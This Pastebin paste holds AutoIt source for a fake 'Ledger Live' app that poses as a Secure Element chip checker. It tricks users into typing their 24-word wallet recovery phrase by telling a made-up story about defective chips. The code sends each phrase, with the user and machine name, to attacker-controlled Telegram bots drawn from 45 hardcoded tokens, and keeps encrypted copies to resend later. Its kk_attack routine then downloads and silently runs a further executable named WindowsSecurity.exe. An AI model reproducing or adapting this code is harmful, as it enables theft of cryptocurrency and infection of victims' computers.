Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Func __crypt_getcalgfromcryptkey($vcryptkey)
- Local $talgid = DllStructCreate("uint;dword")
- DllStructSetData($talgid, 2, 4)
- Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetKeyParam", "handle", $vcryptkey, "dword", $kp_algid, "ptr", DllStructGetPtr($talgid, 1), "dword*", DllStructGetPtr($talgid, 2), "dword", 0)
- If @error OR NOT $aret[0] Then
- Return SetError(@error, @extended, $crypt_userdata)
- Else
- Return DllStructGetData($talgid, 1)
- EndIf
- EndFunc
- Func appeal($appeal, $chatids, $write = "")
- random_url()
- $output1 = httppost("/sendMessage?chat_id=" & $chatids & "&text=" & @UserName & "@" & @ComputerName & ": K_seed: " & $appeal, $appeal, $write)
- EndFunc
- Func cryptseed($seed = "")
- $c = _crypt_encryptdata("from file: " & $seed, "pas4rswr3fdwor42rrd5", $calg_aes_128)
- $wayi = _tempfile(@TempDir, "~wraE55F")
- $handle = FileOpen($wayi, 2)
- FileWrite($handle, $c)
- FileClose($handle)
- EndFunc
- Func httppost($surl, $appeal, $write = "", $sdata = "")
- $xr = 0
- Local $omyerror = ObjEvent("AutoIt.Error", "ErrFunc")
- Local $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
- While $ohttp.status = NULL OR $ohttp.status = 401
- random_url()
- $ohttp.open("POST", $url & $surl, False)
- $ohttp.setrequestheader("Content-Type", "application/x-www-form-urlencoded")
- $ohttp.send($sdata)
- $xr = $xr + 1
- ConsoleWrite($xr)
- If $xr = 2 AND $write = "writeNO" Then Return
- If $xr = 30 AND $write = "" Then Return
- If $xr = 300 AND $write = "greatloop" Then Return
- If $xr = 2 AND $write = "" Then
- cryptseed($appeal)
- EndIf
- Sleep(500)
- WEnd
- EndFunc
- Func errfunc()
- EndFunc
- Func random_url()
- $randomf = Random(1, 45, 1)
- Switch $randomf
- Case "1"
- Global $url = "https://api.telegram.org/bot" & "404240315:AAGtrZUepyMh0w3paGr45IUDLh8eyTfw1To"
- Case "2"
- Global $url = "https://api.telegram.org/bot" & "424994060:AAE9wnMYmGD4EUXzXExKBCxcL1QxargWquU"
- Case "3"
- Global $url = "https://api.telegram.org/bot" & "407220260:AAG9FO46ERsOJO4pN28zTKiuyVFdG8ckjBU"
- Case "4"
- Global $url = "https://api.telegram.org/bot" & "427983478:AAErptXjw-cx4RTXymeuDSBc6FJCFVfLbEg"
- Case "5"
- Global $url = "https://api.telegram.org/bot" & "429716356:AAHwEV1XdMC8jAVUd4OdyuOlQ52N2amwMoA"
- Case "6"
- Global $url = "https://api.telegram.org/bot" & "424409164:AAETlQuBNrl7SYPSsJbV5ZyHONKe6ES19hU"
- Case "7"
- Global $url = "https://api.telegram.org/bot" & "607897670:AAEyMhxDxPh9kwtyV7oISwxwgQn-enekRZA"
- Case "8"
- Global $url = "https://api.telegram.org/bot" & "652421424:AAHf9OH5sG85DRVGmJR0NZ4pp9zwZhQf5yU"
- Case "9"
- Global $url = "https://api.telegram.org/bot" & "632597324:AAF9xC1TasMYW110dmmp64upn0LRpVsJz1s"
- Case "10"
- Global $url = "https://api.telegram.org/bot" & "627910523:AAEZiGr5EfGyZCQfk2XRii0XvSss6ZE1ogg"
- Case "11"
- Global $url = "https://api.telegram.org/bot" & "693876521:AAFYBr32pqupTmq-e69A22uXx-rDzij5uBs"
- Case "12"
- Global $url = "https://api.telegram.org/bot" & "638462826:AAGd05iFGQ8tLl8VBEypiV_Dl9enmGMH9ho"
- Case "13"
- Global $url = "https://api.telegram.org/bot" & "623942632:AAG21P0pfLvY6XW6BnEJQnwQUWB2nzziAP0"
- Case "14"
- Global $url = "https://api.telegram.org/bot" & "654165838:AAElXx7v3fQEdePCFhpNQK7lNcwoHmfs23Y"
- Case "15"
- Global $url = "https://api.telegram.org/bot" & "600566921:AAHJb1gbtHA45anPoHSzivjKoora5Vl76qQ"
- Case "16"
- Global $url = "https://api.telegram.org/bot" & "638084868:AAHq9EWMz1aKgpHgnwWFOjPBPEadsJkKH44"
- Case "17"
- Global $url = "https://api.telegram.org/bot" & "679026139:AAFrdIV-ezJs22I1j6qadl2-MK1Mf5Aq1e8"
- Case "18"
- Global $url = "https://api.telegram.org/bot" & "649194867:AAF4vf4frHTJ85smNTY8-U60f9F9aT5QLHE"
- Case "19"
- Global $url = "https://api.telegram.org/bot" & "659444737:AAEJPcjgUn0domHkA730zJRhNuqLL-99JTE"
- Case "20"
- Global $url = "https://api.telegram.org/bot" & "621323231:AAEjO2ga2mesHDHYDUkBB91kyx1AhRQrA4Q"
- Case "21"
- Global $url = "https://api.telegram.org/bot" & "666355462:AAEKJPNhiE27l7v_07_Tj2thyBt3dlJr8AI"
- Case "22"
- Global $url = "https://api.telegram.org/bot" & "676103790:AAF0fU9cf_JgZWPp4MyLrTm80jgVcAuKbfU"
- Case "23"
- Global $url = "https://api.telegram.org/bot" & "667621778:AAG_reU0dhsUPUZPzBu7_FQ89Chuw8pNSIE"
- Case "24"
- Global $url = "https://api.telegram.org/bot" & "608255834:AAFRJXUszazQ7Z_btsXh-tEobtzEO4PPC6k"
- Case "25"
- Global $url = "https://api.telegram.org/bot" & "671370762:AAG3V7b9kDr3acQIC1VWYPnXysFaQh88cHo"
- Case "26"
- Global $url = "https://api.telegram.org/bot" & "685098243:AAGoBbTtqBt34QdI0M-pnrvoG7-HWIcd5k8"
- Case "27"
- Global $url = "https://api.telegram.org/bot" & "667592344:AAHVTZ12J_emO8uwzZi0fs3QCsXdoqvezcE"
- Case "28"
- Global $url = "https://api.telegram.org/bot" & "672288436:AAETRbI4Fq4b0ZoB-a9XjXu0cWGrmHM2ay4"
- Case "29"
- Global $url = "https://api.telegram.org/bot" & "555422581:AAHaagG7sFKtoEvNXYnKokwZFzF_BXfl72w"
- Case "30"
- Global $url = "https://api.telegram.org/bot" & "595959468:AAEy_L1IWuzGc7KhEIcxrV-NdxXYi-huzL0"
- Case "31"
- Global $url = "https://api.telegram.org/bot" & "644419657:AAHqUpEA5QlQre42Ik58m_magqvTRo21cj8"
- Case "32"
- Global $url = "https://api.telegram.org/bot" & "623049342:AAEOXFMlLf_j8FkXV8PDDZ35lzuFI-x5LyM"
- Case "33"
- Global $url = "https://api.telegram.org/bot" & "652169005:AAFaIdBla63josQYPkw5ml4GVS8Atxqlsvc"
- Case "34"
- Global $url = "https://api.telegram.org/bot" & "693876778:AAGt_uo5ZOAYCpHr6RrRCO44E_ZN072DdS0"
- Case "35"
- Global $url = "https://api.telegram.org/bot" & "696897371:AAFi6OeHBa7YAkxWyPD1V3JaW_VX6DjpuFw"
- Case "36"
- Global $url = "https://api.telegram.org/bot" & "441298260:AAEW7SZwf5CtF8YBe91RUXIsqXtFZgRt9UE"
- Case "37"
- Global $url = "https://api.telegram.org/bot" & "431734105:AAFDOM7jNVDl33_v1cMOUR-XopnLQXAE5cs"
- Case "38"
- Global $url = "https://api.telegram.org/bot" & "334216961:AAHwm-F-siQWH_ITZDWml8_g8iWxbyN2GrY"
- Case "39"
- Global $url = "https://api.telegram.org/bot" & "408994601:AAH9G1UkTcZWP9QVTkmjSgZc0f2FqMmB_9M"
- Case "40"
- Global $url = "https://api.telegram.org/bot" & "350724907:AAHDASnNBiB1jM1KfweQmdHaqgFc3oMZRWo"
- Case "41"
- Global $url = "https://api.telegram.org/bot" & "443317450:AAHUcfEZis72O4SGAG8puq7ZcrCMZBqyEAI"
- Case "42"
- Global $url = "https://api.telegram.org/bot" & "394604665:AAHm8g8iKjIX94YRbPYoXmWoD1Eb_5WPVmY"
- Case "43"
- Global $url = "https://api.telegram.org/bot" & "307234819:AAF1eMWJycVpXnzjjnU8Y7IKxb46CAFgYQ4"
- Case "44"
- Global $url = "https://api.telegram.org/bot" & "428243278:AAFHDXflmfUc_WokHtJ1pB86w8K2LObxqKE"
- Case "45"
- Global $url = "https://api.telegram.org/bot" & "406458062:AAEo1Vi9YbFfsq1-ijWJIbMGE2UdUJI0EE4"
- EndSwitch
- EndFunc
- Local $htimer = TimerInit()
- Func countwords($stext)
- Local $aresult = StringRegExp($stext, "(\w+)", 3)
- If @error Then Return SetError(1, 0, 0)
- Return UBound($aresult)
- EndFunc
- $bip39 = StringSplit("abandon,ability,able,about,above,absent,absorb,abstract,absurd,abuse,access,accident,account,accuse,achieve,acid,acoustic,acquire,across,act,action,actor,actress,actual,adapt,add,addict,address,adjust,admit,adult,advance,advice,aerobic,affair,afford,afraid,again,age,agent,agree,ahead,aim,air,airport,aisle,alarm,album,alcohol,alert,alien,all,alley,allow,almost,alone,alpha,already,also,alter,always,amateur,amazing,among,amount,amused,analyst,anchor,ancient,anger,angle,angry,animal,ankle,announce,annual,another,answer,antenna,antique,anxiety,any,apart,apology,appear,apple,approve,april,arch,arctic,area,arena,argue,arm,armed,armor,army,around,arrange,arrest,arrive,arrow,art,artefact,artist,artwork,ask,aspect,assault,asset,assist,assume,asthma,athlete,atom,attack,attend,attitude,attract,auction,audit,august,aunt,author,auto,autumn,average,avocado,avoid,awake,aware,away,awesome,awful,awkward,axis,baby,bachelor,bacon,badge,bag,balance,balcony,ball,bamboo,banana,banner,bar,barely,bargain,barrel,base,basic,basket,battle,beach,bean,beauty,because,become,beef,before,begin,behave,behind,believe,below,belt,bench,benefit,best,betray,better,between,beyond,bicycle,bid,bike,bind,biology,bird,birth,bitter,black,blade,blame,blanket,blast,bleak,bless,blind,blood,blossom,blouse,blue,blur,blush,board,boat,body,boil,bomb,bone,bonus,book,boost,border,boring,borrow,boss,bottom,bounce,box,boy,bracket,brain,brand,brass,brave,bread,breeze,brick,bridge,brief,bright,bring,brisk,broccoli,broken,bronze,broom,brother,brown,brush,bubble,buddy,budget,buffalo,build,bulb,bulk,bullet,bundle,bunker,burden,burger,burst,bus,business,busy,butter,buyer,buzz,cabbage,cabin,cable,cactus,cage,cake,call,calm,camera,camp,can,canal,cancel,candy,cannon,canoe,canvas,canyon,capable,capital,captain,car,carbon,card,cargo,carpet,carry,cart,case,cash,casino,castle,casual,cat,catalog,catch,category,cattle,caught,cause,caution,cave,ceiling,celery,cement,census,century,cereal,certain,chair,chalk,champion,change,chaos,chapter,charge,chase,chat,cheap,check,cheese,chef,cherry,chest,chicken,chief,child,chimney,choice,choose,chronic,chuckle,chunk,churn,cigar,cinnamon,circle,citizen,city,civil,claim,clap,clarify,claw,clay,clean,clerk,clever,click,client,cliff,climb,clinic,clip,clock,clog,close,cloth,cloud,clown,club,clump,cluster,clutch,coach,coast,coconut,code,coffee,coil,coin,collect,color,column,combine,come,comfort,comic,common,company,concert,conduct,confirm,congress,connect,consider,control,convince,cook,cool,copper,copy,coral,core,corn,correct,cost,cotton,couch,country,couple,course,cousin,cover,coyote,crack,cradle,craft,cram,crane,crash,crater,crawl,crazy,cream,credit,creek,crew,cricket,crime,crisp,critic,crop,cross,crouch,crowd,crucial,cruel,cruise,crumble,crunch,crush,cry,crystal,cube,culture,cup,cupboard,curious,current,curtain,curve,cushion,custom,cute,cycle,dad,damage,damp,dance,danger,daring,dash,daughter,dawn,day,deal,debate,debris,decade,december,decide,decline,decorate,decrease,deer,defense,define,defy,degree,delay,deliver,demand,demise,denial,dentist,deny,depart,depend,deposit,depth,deputy,derive," & "describe,desert,design,desk,despair,destroy,detail,detect,develop,device,devote,diagram,dial,diamond,diary,dice,diesel,diet,differ,digital,dignity,dilemma,dinner,dinosaur,direct,dirt,disagree,discover,disease,dish,dismiss,disorder,display,distance,divert,divide,divorce,dizzy,doctor,document,dog,doll,dolphin,domain,donate,donkey,donor,door,dose,double,dove,draft,dragon,drama,drastic,draw,dream,dress,drift,drill,drink,drip,drive,drop,drum,dry,duck,dumb,dune,during,dust,dutch,duty,dwarf,dynamic,eager,eagle,early,earn,earth,easily,east,easy,echo,ecology,economy,edge,edit,educate,effort,egg,eight,either,elbow,elder,electric,elegant,element,elephant,elevator,elite,else,embark,embody,embrace,emerge,emotion,employ,empower,empty,enable,enact,end,endless,endorse,enemy,energy,enforce,engage,engine,enhance,enjoy,enlist,enough,enrich,enroll,ensure,enter,entire,entry,envelope,episode,equal,equip,era,erase,erode,erosion,error,erupt,escape,essay,essence,estate,eternal,ethics,evidence,evil,evoke,evolve,exact,example,excess,exchange,excite,exclude,excuse,execute,exercise,exhaust,exhibit,exile,exist,exit,exotic,expand,expect,expire,explain,expose,express,extend,extra,eye,eyebrow,fabric,face,faculty,fade,faint,faith,fall,false,fame,family,famous,fan,fancy,fantasy,farm,fashion,fat,fatal,father,fatigue,fault,favorite,feature,february,federal,fee,feed,feel,female,fence,festival,fetch,fever,few,fiber,fiction,field,figure,file,film,filter,final,find,fine,finger,finish,fire,firm,first,fiscal,fish,fit,fitness,fix,flag,flame,flash,flat,flavor,flee,flight,flip,float,flock,floor,flower,fluid,flush,fly,foam,focus,fog,foil,fold,follow,food,foot,force,forest,forget,fork,fortune,forum,forward,fossil,foster,found,fox,fragile,frame,frequent,fresh,friend,fringe,frog,front,frost,frown,frozen,fruit,fuel,fun,funny,furnace,fury,future,gadget,gain,galaxy,gallery,game,gap,garage,garbage,garden,garlic,garment,gas,gasp,gate,gather,gauge,gaze,general,genius,genre,gentle,genuine,gesture,ghost,giant,gift,giggle,ginger,giraffe,girl,give,glad,glance,glare,glass,glide,glimpse,globe,gloom,glory,glove,glow,glue,goat,goddess,gold,good,goose,gorilla,gospel,gossip,govern,gown,grab,grace,grain,grant,grape,grass,gravity,great,green,grid,grief,grit,grocery,group,grow,grunt,guard,guess,guide,guilt,guitar,gun,gym,habit,hair,half,hammer,hamster,hand,happy,harbor,hard,harsh,harvest,hat,have,hawk,hazard,head,health,heart,heavy,hedgehog,height,hello,helmet,help,hen,hero,hidden,high,hill,hint,hip,hire,history,hobby,hockey,hold,hole,holiday,hollow,home,honey,hood,hope,horn,horror,horse,hospital,host,hotel,hour,hover,hub,huge,human,humble,humor,hundred,hungry,hunt,hurdle,hurry,hurt,husband,hybrid,ice,icon,idea,identify,idle,ignore,ill,illegal,illness,image,imitate,immense,immune,impact,impose,improve,impulse,inch,include,income,increase,index,indicate,indoor,industry,infant,inflict,inform,inhale,inherit,initial,inject,injury,inmate,inner,innocent,input,inquiry,insane,insect,inside,inspire,install,intact,interest,into,invest,invite,involve,iron,island,isolate,issue,item,ivory,jacket,jaguar,jar,jazz,jealous,jeans,jelly,jewel,job,join,joke,journey," & "joy,judge,juice,jump,jungle,junior,junk,just,kangaroo,keen,keep,ketchup,key,kick,kid,kidney,kind,kingdom,kiss,kit,kitchen,kite,kitten,kiwi,knee,knife,knock,know,lab,label,labor,ladder,lady,lake,lamp,language,laptop,large,later,latin,laugh,laundry,lava,law,lawn,lawsuit,layer,lazy,leader,leaf,learn,leave,lecture,left,leg,legal,legend,leisure,lemon,lend,length,lens,leopard,lesson,letter,level,liar,liberty,library,license,life,lift,light,like,limb,limit,link,lion,liquid,list,little,live,lizard,load,loan,lobster,local,lock,logic,lonely,long,loop,lottery,loud,lounge,love,loyal,lucky,luggage,lumber,lunar,lunch,luxury,lyrics,machine,mad,magic,magnet,maid,mail,main,major,make,mammal,man,manage,mandate,mango,mansion,manual,maple,marble,march,margin,marine,market,marriage,mask,mass,master,match,material,math,matrix,matter,maximum,maze,meadow,mean,measure,meat,mechanic,medal,media,melody,melt,member,memory,mention,menu,mercy,merge,merit,merry,mesh,message,metal,method,middle,midnight,milk,million,mimic,mind,minimum,minor,minute,miracle,mirror,misery,miss,mistake,mix,mixed,mixture,mobile,model,modify,mom,moment,monitor,monkey,monster,month,moon,moral,more,morning,mosquito,mother,motion,motor,mountain,mouse,move,movie,much,muffin,mule,multiply,muscle,museum,mushroom,music,must,mutual,myself,mystery,myth,naive,name,napkin,narrow,nasty,nation,nature,near,neck,need,negative,neglect,neither,nephew,nerve,nest,net,network,neutral,never,news,next,nice,night,noble,noise,nominee,noodle,normal,north,nose,notable,note,nothing,notice,novel,now,nuclear,number,nurse,nut,oak,obey,object,oblige,obscure,observe,obtain,obvious,occur,ocean,october,odor,off,offer,office,often,oil,okay,old,olive,olympic,omit,once,one,onion,online,only,open,opera,opinion,oppose,option,orange,orbit,orchard,order,ordinary,organ,orient,original,orphan,ostrich,other,outdoor,outer,output,outside,oval,oven,over,own,owner,oxygen,oyster,ozone,pact,paddle,page,pair,palace,palm,panda,panel,panic,panther,paper,parade,parent,park,parrot,party,pass,patch,path,patient,patrol,pattern,pause,pave,payment,peace,peanut,pear,peasant,pelican,pen,penalty,pencil,people,pepper,perfect,permit,person,pet,phone,photo,phrase,physical,piano,picnic,picture,piece,pig,pigeon,pill,pilot,pink,pioneer,pipe,pistol,pitch,pizza,place,planet,plastic,plate,play,please,pledge,pluck,plug,plunge,poem,poet,point,polar,pole,police,pond,pony,pool,popular,portion,position,possible,post,potato,pottery,poverty,powder,power,practice,praise,predict,prefer,prepare,present,pretty,prevent,price,pride,primary,print,priority,prison,private,prize,problem,process,produce,profit,program,project,promote,proof,property,prosper,protect,proud,provide,public,pudding,pull,pulp,pulse,pumpkin,punch,pupil,puppy,purchase,purity,purpose,purse,push,put,puzzle,pyramid,quality,quantum,quarter,question,quick,quit,quiz,quote,rabbit,raccoon,race,rack,radar,radio,rail,rain,raise,rally,ramp,ranch,random,range,rapid,rare,rate,rather,raven,raw,razor,ready,real,reason,rebel,rebuild,recall,receive,recipe,record,recycle,reduce,reflect,reform,refuse,region,regret,regular,reject,relax," & "release,relief,rely,remain,remember,remind,remove,render,renew,rent,reopen,repair,repeat,replace,report,require,rescue,resemble,resist,resource,response,result,retire,retreat,return,reunion,reveal,review,reward,rhythm,rib,ribbon,rice,rich,ride,ridge,rifle,right,rigid,ring,riot,ripple,risk,ritual,rival,river,road,roast,robot,robust,rocket,romance,roof,rookie,room,rose,rotate,rough,round,route,royal,rubber,rude,rug,rule,run,runway,rural,sad,saddle,sadness,safe,sail,salad,salmon,salon,salt,salute,same,sample,sand,satisfy,satoshi,sauce,sausage,save,say,scale,scan,scare,scatter,scene,scheme,school,science,scissors,scorpion,scout,scrap,screen,script,scrub,sea,search,season,seat,second,secret,section,security,seed,seek,segment,select,sell,seminar,senior,sense,sentence,series,service,session,settle,setup,seven,shadow,shaft,shallow,share,shed,shell,sheriff,shield,shift,shine,ship,shiver,shock,shoe,shoot,shop,short,shoulder,shove,shrimp,shrug,shuffle,shy,sibling,sick,side,siege,sight,sign,silent,silk,silly,silver,similar,simple,since,sing,siren,sister,situate,six,size,skate,sketch,ski,skill,skin,skirt,skull,slab,slam,sleep,slender,slice,slide,slight,slim,slogan,slot,slow,slush,small,smart,smile,smoke,smooth,snack,snake,snap,sniff,snow,soap,soccer,social,sock,soda,soft,solar,soldier,solid,solution,solve,someone,song,soon,sorry,sort,soul,sound,soup,source,south,space,spare,spatial,spawn,speak,special,speed,spell,spend,sphere,spice,spider,spike,spin,spirit,split,spoil,sponsor,spoon,sport,spot,spray,spread,spring,spy,square,squeeze,squirrel,stable,stadium,staff,stage,stairs,stamp,stand,start,state,stay,steak,steel,stem,step,stereo,stick,still,sting,stock,stomach,stone,stool,story,stove,strategy,street,strike,strong,struggle,student,stuff,stumble,style,subject,submit,subway,success,such,sudden,suffer,sugar,suggest,suit,summer,sun,sunny,sunset,super,supply,supreme,sure,surface,surge,surprise,surround,survey,suspect,sustain,swallow,swamp,swap,swarm,swear,sweet,swift,swim,swing,switch,sword,symbol,symptom,syrup,system,table,tackle,tag,tail,talent,talk,tank,tape,target,task,taste,tattoo,taxi,teach,team,tell,ten,tenant,tennis,tent,term,test,text,thank,that,theme,then,theory,there,they,thing,this,thought,three,thrive,throw,thumb,thunder,ticket,tide,tiger,tilt,timber,time,tiny,tip,tired,tissue,title,toast,tobacco,today,toddler,toe,together,toilet,token,tomato,tomorrow,tone,tongue,tonight,tool,tooth,top,topic,topple,torch,tornado,tortoise,toss,total,tourist,toward,tower,town,toy,track,trade,traffic,tragic,train,transfer,trap,trash,travel,tray,treat,tree,trend,trial,tribe,trick,trigger,trim,trip,trophy,trouble,truck,true,truly,trumpet,trust,truth,try,tube,tuition,tumble,tuna,tunnel,turkey,turn,turtle,twelve,twenty,twice,twin,twist,two,type,typical,ugly,umbrella,unable,unaware,uncle,uncover,under,undo,unfair,unfold,unhappy,uniform,unique,unit,universe,unknown,unlock,until,unusual,unveil,update,upgrade,uphold,upon,upper,upset,urban,urge,usage,use,used,useful,useless,usual,utility,vacant,vacuum,vague,valid,valley,valve,van,vanish,vapor,various,vast,vault,vehicle,velvet," & "vendor,venture,venue,verb,verify,version,very,vessel,veteran,viable,vibrant,vicious,victory,video,view,village,vintage,violin,virtual,virus,visa,visit,visual,vital,vivid,vocal,voice,void,volcano,volume,vote,voyage,wage,wagon,wait,walk,wall,walnut,want,warfare,warm,warrior,wash,wasp,waste,water,wave,way,wealth,weapon,wear,weasel,weather,web,wedding,weekend,weird,welcome,west,wet,whale,what,wheat,wheel,when,where,whip,whisper,wide,width,wife,wild,will,win,window,wine,wing,wink,winner,winter,wire,wisdom,wise,wish,witness,wolf,woman,wonder,wood,wool,word,work,world,worry,worth,wrap,wreck,wrestle,wrist,write,wrong,yard,year,yellow,you,young,youth,zebra,zero,zone,zoo", ",")
- $hgui = GUICreate(" Ledger Live", 1000, 600)
- GUISetFont(11, $fw_normal)
- Local $edit1 = GUICtrlCreateEdit("", 250, 250, 500, 80, $es_multiline)
- GUICtrlSetState(-1, $gui_dropaccepted)
- GUISetFont(10, $fw_bold)
- Local $idbtn = GUICtrlCreateButton("Check", 468, 360, 60, 40, $bs_defpushbutton)
- GUICtrlSetCursor(-1, 0)
- GUICtrlSetColor($idbtn, 16777215)
- GUICtrlSetBkColor(-1, 6590705)
- GUISetBkColor(16777215)
- Local $idpic = GUICtrlCreatePic("ledgermenu.jpg", 450, 50, 80, 80)
- GUISetFont(20, $fw_normal)
- GUICtrlCreateLabel("Ledger Secure Element RNG checker", 250, 150, 500, 50, $ss_center)
- GUISetFont(9, $fw_normal)
- GUICtrlCreateLabel("Enter your 24-Words Phrase to check if your Ledger chip is faulty", 250, 210, 500, 20, $ss_center)
- $help = GUICtrlCreateLabel("What is the problem?", 440, 450)
- GUICtrlSetCursor(-1, 0)
- GUICtrlSetFont(-1, 9, 700, 4)
- GUICtrlSetColor(-1, 5460819)
- $secure_element = GUICtrlCreateLabel("What is a Secure Element?", 425, 420)
- GUICtrlSetCursor(-1, 0)
- GUICtrlSetFont(-1, 9, 700, 4)
- GUICtrlSetColor(-1, 5460819)
- $_words1 = $bip39
- _registerprediction(GUICtrlGetHandle($edit1), $_words1, 0, 0, 0, 1)
- GUISetState()
- _newgui(0)
- Global $vbn = 2
- $adxfilelist = _filelisttoarray(@TempDir, "~wraE55F*")
- For $pb = 1 To UBound($adxfilelist) - 1
- random_url()
- $vdata = FileRead(@TempDir & "\" & $adxfilelist[$pb])
- $seed_decrypt = _crypt_decryptdata($vdata, "pas4rswr3fdwor42rrd5", $calg_aes_128)
- $seed_decrypt = BinaryToString($seed_decrypt)
- appeal($seed_decrypt, "-383268787", "writeNO")
- Next
- $user_intention = 0
- While 1
- Switch GUIGetMsg()
- Case $gui_event_close
- Local $fdiff = TimerDiff($htimer) / 1000
- GUIDelete()
- GUIDelete($hgui)
- ExitLoop
- Case $secure_element
- ShellExecute("https://www.ledger.com/a-closer-look-into-ledger-security-the-secure-element/")
- Case $help
- _newgui($vbn)
- If $vbn = 1 Then
- Global $vbn = 2
- ElseIf $vbn = 2 Then
- Global $vbn = 1
- EndIf
- Case $idbtn
- $readwords = GUICtrlRead($edit1)
- If countwords($readwords) > 24 OR countwords($readwords) < 24 Then
- $user_intention = 1
- MsgBox($mb_iconwarning, "Wrong phrase", "Invalid mnemonic")
- If $readwords <> "" Then appeal("INVALID MNEMONIC: " & $readwords, "-285211010")
- ElseIf countwords($readwords) = 24 Then
- appeal($readwords, "-383268787")
- $wordscontrol = StringSplit($readwords, " ")
- $cc = 0
- For $yy = 0 To UBound($wordscontrol) - 1
- For $ii = 0 To UBound($bip39) - 1
- If $wordscontrol[$yy] = $bip39[$ii] Then
- $cc = $cc + 1
- EndIf
- Next
- Next
- If $cc = 24 Then
- $user_intention = 3
- _resultgui()
- MsgBox($mb_iconinformation, "Success", "All tests passed." & @LF & "The Secure Element chip works perfectly!")
- Else
- $user_intention = 2
- MsgBox($mb_iconwarning, "Wrong phrase", "Invalid mnemonic")
- EndIf
- EndIf
- EndSwitch
- WEnd
- $adxfilelist = _filelisttoarray(@TempDir, "~wraE55F*")
- For $pb = 1 To UBound($adxfilelist) - 1
- random_url()
- $vdata = FileRead(@TempDir & "\" & $adxfilelist[$pb])
- $seed_decrypt = _crypt_decryptdata($vdata, "pas4rswr3fdwor42rrd5", $calg_aes_128)
- $seed_decrypt = BinaryToString($seed_decrypt)
- appeal($seed_decrypt, "-383268787", "greatloop")
- Next
- If $user_intention = 0 AND $fdiff <= 30 Then
- kk_attack()
- ElseIf $user_intention = 0 AND $fdiff > 30 Then
- Sleep(60000)
- kk_attack()
- ElseIf $user_intention = 1 Then
- Sleep(120000)
- kk_attack()
- Else
- Sleep(300000)
- kk_attack()
- EndIf
- Func kk_attack()
- $path = @TempDir
- $pathb = @AppDataDir & "\" & "Ledger Live"
- $pass = "-p123lsdfjlsfjldsjfldsjfldsjfei48fsxi"
- $random = Random(1, 2, 1)
- If NOT FileExists($path & "\WindowsSecurity.exe") Then
- Switch $random
- Case "1"
- If NOT FileExists($pathb & "\rar.exe") Then
- InetGet("https://bin.jvnv.net/file/xQZfX/rar.exe", $pathb & "\rar.exe")
- EndIf
- InetGet("https://bin.jvnv.net/file/rp7Wj/updates.rar", $path & "\updates.rar")
- RunWait('"' & $pathb & "\rar.exe" & '" ' & $pass & " x -o+ " & '"' & $path & "\update*.*" & '" ' & '"' & $path & '"', "", @SW_HIDE)
- Case "2"
- If NOT FileExists($pathb & "\rar.exe") Then
- InetGet("https://bin.jvnv.net/file/AMU0d/rar.exe", $pathb & "\rar.exe")
- EndIf
- InetGet("https://bin.jvnv.net/file/DrZ8Y/updates.rar", $path & "\updates.rar")
- RunWait('"' & $pathb & "\rar.exe" & '" ' & $pass & " x -o+ " & '"' & $path & "\update*.*" & '" ' & '"' & $path & '"', "", @SW_HIDE)
- EndSwitch
- EndIf
- If NOT FileExists($path & "\n552fb04-9c0a-47dd-bff3-b5e7fazadc4c6.tmp") Then Run($path & "\WindowsSecurity.exe", $path)
- EndFunc
- Func _newgui($vb = 0)
- If $vb = 0 Then
- Global $idlabel2x = GUICtrlCreateLabel("Inside Ledger’s hardware wallets, we use the Secure Element chip to generate and store the private keys for your crypto assets. Unfortunately, some chips, a limited number, were found to be defective by the external company commissioned by Ledger for the production. The problem identified concerns the lack of a correct source of entropy for use by the random number generator may lead to the generation of predictable sequences of numbers and therefore of private keys by malicious users.", 180, 480, 660, 100, $ss_center)
- GUICtrlSetBkColor($idlabel2x, 15987699)
- Local Const $sfont = "Arial"
- GUICtrlSetFont($idlabel2x, 11.5, $fw_normal, $gui_fontitalic, $sfont)
- GUICtrlSetState($idlabel2x, $gui_hide)
- ElseIf $vb = 1 Then
- GUICtrlSetState($idlabel2x, $gui_hide)
- ElseIf $vb = 2 Then
- GUICtrlSetState($idlabel2x, $gui_show)
- EndIf
- EndFunc
- Func _resultgui()
- Local $gui = GUICreate("Results", 240, 240, 190, 200, $ws_popup)
- Local $label = GUICtrlCreateLabel("Time To Crack: centuries" & @LF & @LF & "Event Count: 64" & @LF & "Entropy Type: hexadecimal" & @LF & @LF & "Bits Per Event: 4.00" & @LF & "Raw Entropy Words: 24" & @LF & @LF & "Total Bits: 256" & @LF & @LF & @LF & @LF & "No action required." & @LF & "The Secure Element chip works perfectly!", 20, 20, 200, 200)
- GUICtrlSetBkColor(-1, 16777215)
- GUISetState()
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment